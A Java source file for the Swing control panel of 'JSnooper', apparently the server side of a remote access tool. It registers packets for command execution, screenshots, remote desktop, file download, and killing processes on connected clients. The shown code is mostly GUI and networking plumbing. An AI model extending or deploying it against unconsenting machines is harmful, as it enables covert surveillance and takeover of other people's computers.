package server;

import com.alee.laf.WebLookAndFeel;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryonet.Connection;
import com.esotericsoftware.kryonet.Server;
import com.esotericsoftware.minlog.Log;
import java.io.IOException;
import java.util.List;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.ListSelectionModel;
import server.display.ClientControl;
import server.listener.ServerListener;
import server.util.model.ClientTableModel;
import util.Client;

public class ServerManager extends javax.swing.JFrame {

    public final static int //
            PORT_TCP = 54555,
            PORT_UDP = 54777;
    
    private final Server server;
    private final ServerListener listener;
    private final ClientManager clientManager;

    private final ClientTableModel tableModel;
    private final ServerLog serverLog;
    
    public ServerManager() {
        /**
         * GUI
         */
        initComponents();
        this.setLocationRelativeTo(null);
        this.setTitle("JSnooper - Server Manager - 0 Connections");
        serverLog = new ServerLog(epLog);
        tableModel = new ClientTableModel(table);
        table.setModel(tableModel);
        table.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
        
        /**
         * Server
         */
        listener = new ServerListener(this);
        clientManager = new ClientManager();

        server = new Server(131072, 131072);
        server.start();

        try {
            server.bind(PORT_TCP, PORT_UDP);
            server.addListener(listener);
        } catch (IOException ex) {
            Logger.getLogger(ServerManager.class.getName()).log(Level.SEVERE, null, ex);
        }
        
        registerClasses();
        
        writeToLog(Log.LEVEL_INFO, String.format("Started server, listening on port %d for TCP, %d for UDP", PORT_TCP, PORT_UDP));
    }

    private void registerClasses() {
        Kryo kryo = server.getKryo();

        kryo.register(byte[].class);
        kryo.register(String[].class);
                
        kryo.register(net.packet.Beep.class);
        kryo.register(net.packet.CDDrive.class);
        kryo.register(net.packet.Command.class);
        kryo.register(net.packet.Connect.class);
        kryo.register(net.packet.FileDownload.class);
        kryo.register(net.packet.Idle.class);
        kryo.register(net.packet.Log.class);
        kryo.register(net.packet.MessageBox.class);
        kryo.register(net.packet.RemoteDesktop.class);
        kryo.register(net.packet.RemoteDesktopFrame.class);
        kryo.register(net.packet.Screenshot.class);
        kryo.register(net.packet.TaskKill.class);
        kryo.register(net.packet.TaskList.class);
        kryo.register(net.packet.Website.class);    
    }

    public ClientManager getClientManager() {
        return clientManager;
    }
        
    public ClientTableModel getClientTableModel() {
        return tableModel;
    }
        
    public void writeToLog(int type, String text) {
        serverLog.write(type, text);
    }
    
    public void writeToLog(int type, String text, Exception ex) {
        serverLog.write(type, text, ex);
    }
    
    public void clearLog() {
        serverLog.clear();
    }
    
    public void sendTCP(Connection connection, Object object) {
        for (Connection con : server.getConnections()) {
            if (con == connection) {
                if (con.isConnected()) {
                    con.sendTCP(object);
                }
            }
        }
    }

    public void sendUDP(Connection connection, Object object) {
        for (Connection con : server.getConnections()) {
            if (con == connection) {
                if (con.isConnected()) {
                    con.sendUDP(object);
                }
            }
        }
    }

    public Client getClientFromConnection(Connection connection) {
        return clientManager.getClientFromConnection(connection);
    }
    
    public void updateClients() {
        List<Client> clients = clientManager.getClients();
        
        this.setTitle(String.format("JSnooper - Server Manager - %d %s", clients.size(), (clients.size() != 1 ? "Connections" : "Connection")));
        tableModel.addClients(true, clients);
    }
    
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jScrollPane2 = new javax.swing.JScrollPane();
        table = new javax.swing.JTable();
        btRemoteControl = new javax.swing.JButton();
        btRemoteUpdateClient = new javax.swing.JButton();
        jScrollPane1 = new javax.swing.JScrollPane();
        epLog = new javax.swing.JEditorPane();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("JSnooper - Server Manager");

        table.setModel(new javax.swing.table.DefaultTableModel(
            new Object [][] {
                {null, null, null, null},
                {null, null, null, null},
                {null, null, null, null},
                {null, null, null, null}
            },
            new String [] {
                "Title 1", "Title 2", "Title 3", "Title 4"
            }
        ));
        jScrollPane2.setViewportView(table);

        btRemoteControl.setText("Remote Control");
        btRemoteControl.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btRemoteControlActionPerformed(evt);
            }
        });

        btRemoteUpdateClient.setText("Remote Update Client");
        btRemoteUpdateClient.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btRemoteUpdateClientActionPerformed(evt);
            }
        });

        epLog.setFont(new java.awt.Font("Microsoft Sans Serif", 0, 10)); // NOI18N
        jScrollPane1.setViewportView(epLog);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addComponent(jScrollPane1)
                    .addComponent(jScrollPane2, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 780, Short.MAX_VALUE)
                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup()
                        .addComponent(btRemoteControl)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(btRemoteUpdateClient)
                        .addGap(0, 0, Short.MAX_VALUE)))
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 250, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(btRemoteControl)
                    .addComponent(btRemoteUpdateClient))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 140, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        pack();
    }// </editor-fold>//GEN-END:initComponents

    private void btRemoteControlActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btRemoteControlActionPerformed
        int[] rows = table.getSelectedRows();
        
        if (rows.length == 1) {
            Client selectedClient = tableModel.getClientAt(rows[0]);
            
            if (selectedClient.getClientControl() == null) {
                ClientControl clientControl = new ClientControl(this, false, this, selectedClient);
                selectedClient.setClientControl(clientControl);
                selectedClient.getClientControl().setVisible(true);
            } else {
                selectedClient.getClientControl().setVisible(true);
            }
        } else {
            JOptionPane.showMessageDialog(null, "No client has been selected!", "No selection", JOptionPane.ERROR_MESSAGE);
        }
    }//GEN-LAST:event_btRemoteControlActionPerformed

    private void btRemoteUpdateClientActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btRemoteUpdateClientActionPerformed
        int[] rows = table.getSelectedRows();
        
        if (rows.length == 1) {
            // Update here
        } else {
            JOptionPane.showMessageDialog(null, "No client has been selected!", "No selection", JOptionPane.ERROR_MESSAGE);
        }
    }//GEN-LAST:event_btRemoteUpdateClientActionPerformed

    public static void main(String args[]) {
        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">        
        try {            
            javax.swing.UIManager.setLookAndFeel(WebLookAndFeel.class.getCanonicalName());
        } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) {
            java.util.logging.Logger.getLogger(ServerManager.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        }
        //</editor-fold>
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new ServerManager().setVisible(true);
            }
        });
    }

    // Variables declaration - do not modify//GEN-BEGIN:variables
    private javax.swing.JButton btRemoteControl;
    private javax.swing.JButton btRemoteUpdateClient;
    private javax.swing.JEditorPane epLog;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JScrollPane jScrollPane2;
    private javax.swing.JTable table;
    // End of variables declaration//GEN-END:variables
}
